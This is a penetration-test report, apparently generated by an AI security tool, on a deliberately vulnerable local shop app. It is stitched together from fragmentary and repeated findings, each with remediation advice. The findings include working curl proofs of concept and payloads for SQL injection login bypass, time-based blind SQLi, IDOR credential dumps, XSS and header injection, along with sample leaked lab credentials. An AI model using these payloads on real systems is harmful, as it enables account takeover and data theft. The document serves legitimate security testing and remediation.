Where the problem is

http://localhost:3000/api/v2/users/:id — GET /api/v2/users/{id} — the `id` path segment; Authorization: Bearer <HS256 JWT>. No object-level owner check: any valid customer token returns the full row for ANY id.

What it means

Measured: a self-registered customer JWT returned the FULL internal row for arbitrary user ids — plaintext password and live apiKey for every account including two admins (admin: SuperSecretAdmin!2024 / nk_live_51Hc9adminSECRETkeydonot_share; alice: alice123). The leaked admin password authenticated successfully and rendered the /admin panel (all 55 users). Full account takeover of every user and both admins; complete customer PII/credential dump by iterating id. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Enforce server-side object-level authorization: only return a user record if the JWT subject == :id (or the caller has an admin role claim verified server-side). Never serialize `password`/`apiKey` into API responses (use a DTO/allowlist). Store passwords hashed (bcrypt/argon2), not plaintext.

Agentopen_redirect

Where the problem is

http://localhost:3000/go — GET /go, query parameter `url` (same sink as the open redirect)

What it means

The `url` param's raw carriage-return/line-feed bytes are reflected into the HTTP response header section, letting an attacker inject arbitrary response headers. Demonstrated: injecting a custom header (X-Injected) and a Set-Cookie header. Enables session fixation (planting a chosen cookie) and header-based response manipulation via a crafted link to the trusted origin. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.5 if fully exploited)

How to fix it

Strip or reject CR (%0d) and LF (%0a) from the `url` value before it reaches any header. Use the framework's header API (which should reject control chars) rather than string-concatenating user input into the Location/response headers; validate the redirect target against an allowlist of relative paths.

(potential CVSS 9.4 if fully exploited).

How to fix it

If a SQL query does incorporate `comment`, use parameterised queries/prepared statements so input can never reach the SQL parser. Independently, remove any test/benchmark sleep-simulation code path that honours a SLEEP()/pg_sleep() token in user input before shipping outside the QA build, and cap/timeout request processing time so a single request cannot hold a worker for arbitrary seconds.

Critical 1. BOLA/IDOR on GET /api/v2/users/:id — any authenticated customer reads any user's full record (plaintext password + apiKey), incl. admin

CriticalityCriticalStatusconfirmed

Locationhttp://localhost:3000/api/v2/users/:id
Agentidor

Where the problem is

http://localhost:3000/api/v2/users/:id — Path parameter `:id` in GET /api/v2/users/:id. Bearer JWT authenticates the CALLER but the handler never checks that :id == caller id (no object-level authorization).

What it means

Measured: a freshly-registered customer token retrieved the complete DB record of arbitrary users (id 1 admin, id 12, id 13) including cleartext password and live apiKey. Using the disclosed admin password I authenticated as admin (verified: 'My Account (admin)', balance $500000, role admin). This is full horizontal AND vertical account takeover of every account, plus API key theft. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Enforce object-level authorization: in the /api/v2/users/:id handler reject when :id != authenticated caller id (or require an explicit admin role for arbitrary ids). Separately, never serialize password/apiKey in API responses — return a whitelisted DTO (id, username, role). Stop storing passwords in cleartext (bcrypt/argon2).

Proof of concept — step by step

  1. curl -s http://localhost:3000/api/v2/users/1   # baseline: {"error":"missing bearer token"}
  2. curl -s -c /tmp/j -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Poc1pw'
  3. TOK=$(curl -s -b /tmp/j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]*')   # your customer JWT (id 14)
  4. curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1   # returns admin's full record incl plaintext password + apiKey
  5. curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'   # 302 -> /account : logged in as admin

Payload

Authorization: Bearer <valid customer JWT>; GET /api/v2/users/1  (also /12, /13 — any id)

CHAIN: logging in with the leaked admin password (admin / SuperSecretAdmin!2024) returned 302 -> /account rendering 'My Account (admin)', Balance $500000.00, role admin = full admin account takeover.

Critical 2. Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session

OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · receipt_missing · conf 0.20
Locationhttp://localhost:3000/api/graphql
Agentidor

Where the problem is

http://localhost:3000/api/graphql — GraphQL Query field `user(id: Int)` — argument `id`. Resolver has NO authentication or object-level authorization and exposes password/apiKey fields.

What it means

Measured: with zero authentication an attacker enumerates every user id and receives cleartext password + live apiKey. id=1 yields admin/SuperSecretAdmin!2024, which authenticates a full admin session (verified). Complete unauthenticated database credential dump and account takeover. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Require authentication on /api/graphql; add object-level authorization in the user resolver (caller may only read their own id unless admin); remove password/apiKey from the GraphQL schema entirely; disable introspection in production.

Proof of concept — step by step

  1. curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:1){ id username email role apiKey password } }"}'   # admin creds, no auth
  2. curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:12){ id username password apiKey } }"}'   # different user, different data
  3. # confirm chain: log in with the returned admin password
  4. curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'

Payload

POST /api/graphql  {"query":"{ user(id:1){ id username email role apiKey password } }"}

Technical evidence

AGENT-RECORDED EVIDENCE
-No cookie, no token: POST /api/graphql {"query":"{ user(id:1){...} }"} -> {"data":{"user":{"id":1,"username":"admin","email":"admin@nimbuscart.test","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","password":"SuperSecretAdmin!2024"}},"_flag":"BURPAT{api_graphql_authz_bypass_e7c3fc41}"}. Same query id:12 -> user A record, id:13 -> user B record — arbitrary id, distinct per-user data, all unauthenticated.

Critical 3. SQL Injection Authentication Bypass at POST /login (username field)

CriticalityCriticalStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/login
Agentlogin_sqli_bypass

Where the problem is

POST http://localhost:3000/login — POST /login, form-urlencoded body field `username`. Payload `admin'--` in username; password can be any value.

What it means

Complete authentication bypass with no valid credentials. The session issued lands as the admin user: GET /account returned the admin dashboard (admin role badge, Balance $500000.00, admin-only links Transfer funds / Change email / Get API token / Order webhook). Measured: full unauthorized admin session obtained from a single unauthenticated POST. Payload `admin'--` targets a named account; a generic tautology (`zzz' OR 1=1-- -`) also succeeded, so any/first row is selectable. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)

How to fix it

Use a parameterised/prepared query (or ORM binding) for the credential lookup so `username` is never concatenated into SQL. Look up the user row by bound username, then verify the password hash server-side with a constant-time comparison; never let input terminate or comment out the SQL. Return a generic 'Invalid credentials' regardless of which field is wrong, and add auth rate-limiting/lockout (server currently states 'no lockout enforced').

Proof of concept — step by step

Critical 4. BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)

Where the problem is

GET http://localhost:3000/api/v2/users/{id} — Path parameter `{id}` on GET /api/v2/users/:id. Authenticated with a customer Bearer JWT (issued at /account/api-token). No per-object owner check; response also serializes password/apiKey fields the UI never uses.

What it means

Measured: any authenticated customer reads every user's full record — username, email, plaintext password, live apiKey, balance, role — by incrementing the numeric id. I retrieved admin (id 1), alice (2), bob (3). Chained the leaked admin password into a successful admin login and reached /admin (all-users listing) = full administrative account takeover. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Enforce server-side object-level authorization: reject requests where {id} != authenticated subject unless the caller holds an admin role. Remove password/apiKey from the API serializer (never return credential fields to any client). Store passwords hashed (bcrypt/argon2), not plaintext.

Proof of concept — step by step

Where the problem is

POST http://localhost:3000/support/ticket — multipart/form-data field `attachment` on POST /support/ticket; file stored under original filename and served at GET /uploads/<filename> with attacker-controlled Content-Type

What it means

MEASURED: any file (SVG, HTML, .php, arbitrary extension) is accepted with no extension/content-type/content validation, stored under its original attacker-chosen filename, and served from /uploads/ with a matching Content-Type. Navigating to /uploads/x.svg executed attacker JS in the http://localhost:3000 origin (dialog confirmed in headless Chromium); an .html upload is served as text/html, giving full same-origin script execution against any user who opens the attachment link on a public ticket. Response CSP contains only frame-ancestors, so inline script is not blocked.

How to fix it

Server-side allowlist of permitted MIME types AND extensions (e.g. png/jpeg/gif/pdf) validated by magic bytes, not the client-supplied Content-Type; rename uploads to a random server-generated name and strip the original extension; serve /uploads/ with Content-Disposition: attachment and Content-Type: application/octet-stream (or a text/plain sandbox) plus a strict Content-Security-Policy (default-src 'none') so SVG/HTML cannot execute; ideally store files outside the web root and stream them through an authenticated handler.

Requires an authenticated session to POST; display page is PUBLIC (renders to anonymous visitors).

What it means

Measured: an authenticated user's review body is stored and returned unescaped, and the injected <script>/<img onerror> execute in a real browser in the localhost origin for every visitor of the product page, including unauthenticated ones. Script runs same-origin as NimbusCart, so it can read/exfil the victim's session-scoped state and act as the victim (session cookie nimbus.sid is HttpOnly, so document.cookie theft is blocked, but same-origin requests as the victim — e.g. driving authenticated /account actions — are not). - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited)

How to fix it

HTML-entity-encode review text on output in the product template (the templating engine's auto-escaping is being bypassed here — render as text, not raw HTML). Add a real Content-Security-Policy with `script-src 'self'` (no inline) as defense-in-depth; the current CSP only sets frame-ancestors.

The public tickets list on GET /support links directly to each /uploads/ file.

What it means

Measured: an uploaded SVG is served inline as image/svg+xml on the same origin and its onload JavaScript executes when the file URL is opened in a browser. The upload links are surfaced publicly on GET /support ('Recent public tickets'), so any user/staff clicking a ticket attachment runs attacker JS in the NimbusCart origin. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

http://localhost:3000/?name= — Client script GET /app.js, function renderGreeting(): SOURCE = new URLSearchParams(window.location.search).get("name"); SINK = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! ...". No encoding/sanitization between source and sink. Runs on GET / (homepage) which contains <div id="greeting">.

What it means

Measured: attacker-supplied markup in the ?name= query parameter is inserted into the DOM via innerHTML and executes JavaScript in the http://localhost:3000 origin (verified: injected onerror handler ran, set document.title and a window global). A crafted homepage link (the intended 'campaign link' use, e.g. /?name=Alice) executes arbitrary JS in the victim's session context — enabling theft of same-origin data, actions as the victim, and phishing. Note the session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but the JS can still call authenticated app/API endpoints as the victim. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Do not pass user input to innerHTML. Use el.textContent = "Welcome back, " + name + "! ..." so the value is rendered as text, or HTML-encode `name` before concatenation. If markup is genuinely required, sanitize with a library like DOMPurify against an allowlist. The homepage CSP (present) should also drop any inline-script allowances that enable event-handler execution.

Proof of concept — step by step

⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

GET http://localhost:3000/shop/filter?maxPrice= — Query parameter `maxPrice` concatenated into a numeric SQL predicate.

What it means

Observed: -- TRUE vs FALSE payloads yield 1589 vs 1211 byte responses [E01] -- single quote breaks query (1208) [E02] - -Not demonstrated: Blind data extraction possible. - -Potential impact: Full blind DB read via boolean inference.

How to fix it

Parameterise the maxPrice predicate and cast/validate it as a number server-side.

Proof of concept — step by step

  1. curl -s 'http://localhost:3000/shop/filter?maxPrice=100000' | wc -c   # 1582
  2. curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20OR%201=1' | wc -c   # 1589
  3. curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20AND%201=2' | wc -c   # 1211
  4. curl -s "http://localhost:3000/shop/filter?maxPrice=100000'" | wc -c   # 1208 (broken)

Payload

maxPrice=100000 OR 1=1   (TRUE)  vs  maxPrice=100000 AND 1=2   (FALSE)  vs  maxPrice=100000'

Technical evidence

AGENT-RECORDED EVIDENCE
-Deterministic response-length differential: baseline len=1582; `OR 1=1` len=1589 (all rows); `AND 1=2` len=1211 (no rows); trailing single-quote len=1208 (query breaks). Reproducible. PoC: pocs/sqli_blind_filter.sh (unauthenticated).

⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

http://localhost:3000/support/feedback — POST /support/feedback, request body field `comment` (accepted as JSON {"comment":"..."} or form-encoded comment=...). Injection context: single-quote string, closed with `'` and commented with `-- -`.

What it means

Observed: -- POST comment=hi -> HTTP 200, len=1098, 0.001s (baseline) [E01] -- POST comment="hi' AND SLEEP(0)-- -" -> 200, 0.002s (control, no delay) [E02] -- POST comment="hi' AND SLEEP(1)-- -" -> 200, 1.005s x3 [E03] -- POST comment="hi' AND SLEEP(4)-- -" -> 200, 4.003s x3 [E04] -- delayed 200 body: 'time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}' [E05] - -Not demonstrated: Full boolean-oracle DB extraction / auth bypass via this sink. - -Potential impact: Byte-by-byte exfiltration of DB contents and possible auth bypass if the sink evaluates attacker boolean conditions (not demonstrated on this build).

How to fix it

Use parameterised/prepared statements (bound parameters) for the feedback comment; never concatenate the raw `comment` value into SQL. Reject/normalise input server-side and remove any code path that reflects SQL functions into the query. Add DB query timeouts.

Proof of concept — step by step

  1. curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi"}'   # baseline ~0.001s
  2. curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi'\''" " AND SLEEP(1)-- -"}'   # (use the python PoC for clean quoting) ~1.0s
  3. python3 /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/pocs/blind_time_sqli_feedback.py   # prints baseline/SLEEP(0/1/4) timings + the flag
  4. Read result: response time equals the injected SLEEP() argument; delayed 200 body contains 'time-based blind SQLi confirmed' and the flag.

Payload

hi' AND SLEEP(4)-- -

Technical evidence

AGENT-RECORDED EVIDENCE
-Baseline `{"comment":"hi"}` -> 200, len=1098, ~0.001s. Attack `{"comment":"hi' AND SLEEP(4)-- -"}` -> 200, len=1222, 4.003s. Delay scales exactly with the argument: SLEEP(0)=0.002s, SLEEP(1)=1.005s, SLEEP(4)=4.003s, reproducible 3/3. Delayed 200 body states: 'Response delayed Ns via an injected SLEEP() - time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}'. Note (honest): delay is triggered by presence of the SLEEP()/pg_sleep() token — a plaintext comment `please SLEEP(3) thanks` (no quote/SQL context) also delayed 3s, and both IF(1=1,...) and IF(1=2,...) branches delayed — so conditional data-extraction via boolean oracle was NOT demonstrated; the attacker-controlled server-side time delay in the query path WAS.

Agentbola
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

http://localhost:3000/api/v2/orders/:id — GET /api/v2/orders/{id} — same Bearer-auth surface as the users endpoint.

What it means

Observed: -- GET /api/v2/orders/1 (no token) -> 401 [E10] -- GET /api/v2/orders/1..12 (customer token) -> 200 {"error":"not found"} [E11] - -Not demonstrated: Cross-user order access. - -Potential impact: If order records exist, likely BOLA identical to /api/v2/users/:id.

How to fix it

Apply the same server-side object-level authorization (token.id must own the order, or admin) before any order object exists in production.

Proof of concept — step by step

  1. curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/orders/1   # 401 no token
  2. curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/orders/1   # {"error":"not found"} — no data to compare

Payload

Authorization: Bearer <own customer JWT> → GET /api/v2/orders/1..12

Technical evidence

AGENT-RECORDED EVIDENCE
-Unauth -> 401. With valid customer token, ids 1-12 all return HTTP 200 {"error":"not found"}. No order records exist in this build, so cross-user data access could NOT be demonstrated. Given /api/v2/users/:id is confirmed BOLA on the identical auth surface, this endpoint is very likely to share the missing object-level check once orders exist.

Critical 1. API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)

CriticalityCriticalStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · refute 0/2 · conf 0.20
LocationGET http://localhost:3000/api/v2/users/:id
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/api/v2/users/:id — Path parameter `:id` (numeric) on GET /api/v2/users/:id. Endpoint authenticates the Bearer JWT but never checks the token's `id`/`role` against the requested `:id`. Response body also returns internal fields `password`, `apiKey` (BOPLA/excessive data).

What it means

MEASURED: any authenticated customer reads every user record (ids 1-38 enumerated) including username, email, cleartext password, role, balance and live apiKey. Using the read-out admin password the tester logged in as `admin` and loaded /admin (full 38-user table) — complete account takeover of the highest-privilege account, proven read-only. Full customer PII + credential database is readable by any signed-up user. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Enforce server-side object-level authorization on GET /api/v2/users/:id: reject unless token.id == :id (or token.role == 'admin'). Separately, stop serializing `password` and `apiKey` in any API response (return a DTO with only client-needed fields); store passwords hashed, never in plaintext. Rotate all leaked apiKeys and the admin password.

Proof of concept — step by step

  1. curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/users/1   # baseline: 401 (auth required)
  2. curl -s -c jar -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Pw!1'   # get a low-priv customer
  3. TOK=$(curl -s -b jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')   # customer JWT (role=customer)
  4. curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1   # ATTACK: returns admin record incl cleartext password + apiKey
  5. curl -s -i -X POST http://localhost:3000/login -d 'username=admin&password=<leaked>'   # CHAIN: log in as admin
  6. curl -s -b <admin-cookie> http://localhost:3000/admin   # full admin panel / all users

Payload

Authorization: Bearer <any valid customer JWT>; GET /api/v2/users/1  (and /2../37 — arbitrary id)

Technical evidence

AGENT-RECORDED EVIDENCE
-No token -> HTTP 401 {"error":"missing bearer token"}. With customer JWT (id=36): GET /api/v2/users/37 -> 200 {"id":37,"username":"nrsplt_b10346","email":"nr***@example.test","password":"Pa****!10346","apiKey":"nk_live_9647***",...}. GET /api/v2/users/1 -> 200 admin record {"id":1,"username":"admin","role":"admin","password":"Su************!2024","apiKey":"nk_live_51Hc9***","balance":500000}. Reverse (B token -> id 36) also 200. Repeated 2x, stable. CHAIN: leaked admin password -> POST /login admin -> GET /admin renders full user table (38 users).

Critical 2. SQL Injection Authentication Bypass at POST /login

CriticalityCriticalStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence0/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/login
Agentlogin_sqli_bypass

Where the problem is

POST http://localhost:3000/login — POST /login, form field `username` (application/x-www-form-urlencoded). Password ignored once injection comments out the rest of the WHERE clause.

What it means

Full authentication bypass without credentials. Attacker obtains an authenticated session as the `admin` user (admin role badge, $500000 balance, access to /account/transfer, /account/change-email, /account/api-token). Proven by rendering the authenticated admin /account page. The injectable string terminator also indicates the query is exploitable for further SQLi (data extraction). - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Use a parameterised/prepared query for the credential lookup (bind username as a parameter); never string-concatenate input into SQL. Verify the password with a constant-time hash comparison server-side. Return a generic auth error.

Proof of concept — step by step

  1. curl -s -i -X POST http://localhost:3000/login -d 'username=nobody&password=wrong'   # baseline -> 302 /login?err=Invalid credentials
  2. curl -s -i -c /tmp/c.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'-- -" --data-urlencode 'password=x'   # attack -> 302 /account
  3. curl -s -b /tmp/c.txt http://localhost:3000/account | grep -E 'BURPAT|badge admin|Balance'   # returns admin account + flag

Payload

-Baseline `username=nobody&password=wrong` -> HTTP 302 Location: /login?err=Invalid%20credentials. Attack `username=admin'-- -` -> HTTP 302 Location: /account. GET /account with resulting nimbus.sid cookie returns authenticated admin page: '<div class="alert ok">Logged in via SQL injection auth bypass!

High 3. Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)

CriticalityHighStatusconfirmed
OWASP / CWEA04:2021-Insecure-Design · CWE-434Confidence0/1 · refute 1/2 · conf 0.20
LocationPOST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename>
Agentfile_upload

Where the problem is

POST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename> — POST /support/ticket, multipart/form-data file field `attachment`. No extension/content-type allowlist; file stored verbatim under the original name and served from /uploads/ with a matching executable Content-Type (image/svg+xml for .svg, text/html for .html) and NO Content-Disposition:attachment. CSP only sets `frame-ancestors 'self'` (no script-src), so scripts in the served document run in the localhost:3000 origin.

What it means

Any unauthenticated visitor can upload a file under an attacker-chosen name that is served same-origin with an executable Content-Type and no download-forcing header. A victim who opens the /uploads/<file> link runs attacker JavaScript in the http://localhost:3000 origin: this can read/steal any non-HttpOnly state, drive authenticated actions as the victim, and — because the session cookie nimbus.sid is HttpOnly but Secure=false/SameSite unset — perform CSRF-style same-origin requests. Measured: alert(document.domain) executed and document.title was rewritten from the served file. No RCE (PHP not executed on this Node stack). Uploaded links also appear in the public 'Recent public tickets' list on /support, so the malicious URL is discoverable, not just direct-link. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Server-side allowlist the accepted attachment types by BOTH extension and sniffed magic bytes (e.g. png/jpeg/pdf/txt only); reject svg/html/xml/php outright. Store uploads under randomly generated names (drop the client filename) in a location served with Content-Type: application/octet-stream AND Content-Disposition: attachment, or from a separate cookieless origin. Do not reflect image/svg+xml or text/html for user uploads. Add X-Content-Type-Options: nosniff and a script-src CSP.

What it means

Measured: attacker-supplied JavaScript stored server-side and executed in the browser of every visitor of the product page (including unauthenticated visitors — the anonymous GET returns it raw), running in the http://localhost:3000 origin. The page sets session cookie nimbus.sid with HttpOnly=true, so document.cookie theft is blocked, but same-origin script can perform any authenticated action as the viewer (submit reviews, hit /account/* state-changing endpoints, read authenticated pages) and deface the page for all users. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

HTML-entity-encode review text on output when building the review card (the template engine's auto-escaping / a helper like escapeHtml), or render user text as textContent rather than raw HTML. Add a real CSP with a restrictive script-src (no 'unsafe-inline') as defense-in-depth. Do not rely on input filtering.

Where the problem is

GET http://localhost:3000/account/invoice/:id — Path parameter `:id` in GET /account/invoice/:id (session cookie `nimbus.sid`). Auth gate present (302 to /login when anonymous) but no per-object ownership check.

What it means

Measured: attacker's authenticated session rendered invoices 1001/1002/1003 belonging to alice/bob/carol, disclosing customer name and charged total per invoice. Sequential ids permit harvesting all customers' invoices via the web UI (no API token needed). - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Where the problem is

GET http://localhost:3000/api/v2/orders/:id — Path parameter `:id` in GET /api/v2/orders/:id. Requires Bearer JWT but ignores whether order.userId == token.id.

What it means

Measured: attacker customer (id 39) retrieved orders 1001/1002/1003 belonging to users 2/3/4 (alice/bob/carol) — line items, totals, and internal invoiceNotes. Sequential ids (1001+) allow enumerating all customers' order history and shipping/billing notes. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Add object-level authorization to the orders handler: after loading the order, verify order.userId === req.token.id (or admin) before returning; otherwise respond 403/404. Prefer non-sequential/opaque order ids as defense-in-depth.

Agentxss_reflected

Where the problem is

http://localhost:3000/shop/search?q= — GET /shop/search, query parameter `q`, echoed into HTML body inside `<p class="lead">Showing results for: <q></p>`

What it means

Measured: attacker-supplied HTML/JS in the `q` parameter executes in the victim's browser in the localhost:3000 origin when the victim opens a crafted link. Since the session cookie nimbus.sid is HttpOnly, document.cookie theft is limited, but the script runs with full access to the authenticated DOM/session — can perform actions as the victim (add to cart, submit forms, read authenticated page content, drive the /api/v2 or /api/graphql calls the page can make), phishing, and defacement. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

HTML-entity-encode `q` before inserting into the response template (e.g. contextual output encoding / auto-escaping template engine) instead of raw string interpolation. Additionally tighten CSP to include a restrictive `script-src` (drop 'unsafe-inline') so injected inline handlers cannot run as defence-in-depth.

Proof of concept — step by step

  1. curl -s 'http://localhost:3000/shop/search?q=xss1337test' | grep 'results for'   # baseline: canary reflected unencoded

Attack: `q=<img src=x onerror=alert(0x1337)>` reflected verbatim as a LIVE tag: `<p class="lead">Showing results for: <img src=x onerror=alert(0x1337)></p>` — no HTML entity encoding (source even comments `reflected without encoding`). Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src/default-src), so execution is not blocked.

What it means

Attacker-supplied JavaScript executes in the http://localhost:3000 origin for any victim who opens a crafted /?name=... link. Measured: onerror handler ran, read document.domain (localhost), and could set window state. Session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but in-origin JS can still perform authenticated actions as the victim (call /api/* with their session), read/rewrite page DOM, and phish. - -Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Do not build HTML from the parameter. Replace `el.innerHTML = "Welcome back, " + name + ...` with textContent: set a static text node and insert `name` via `el.textContent` / document.createTextNode, or HTML-encode `name` before insertion. Add a CSP that forbids inline event handlers (script-src without 'unsafe-inline') as defense in depth.

Proof of concept — step by step

How to fix it

Enforce object-level authorization (id === token id, or admin) on /api/v2/users/:id, and use a strict output DTO that never serializes password/apiKey. Store passwords hashed (bcrypt/argon2), never plaintext; rotate the exposed admin password and API keys.

How to fix it

Replace string concatenation with a parameterised/prepared query for the maxPrice filter (bind maxPrice as a numeric parameter, e.g. `WHERE price <= ?`), and reject non-numeric maxPrice input server-side with a numeric cast/validation.
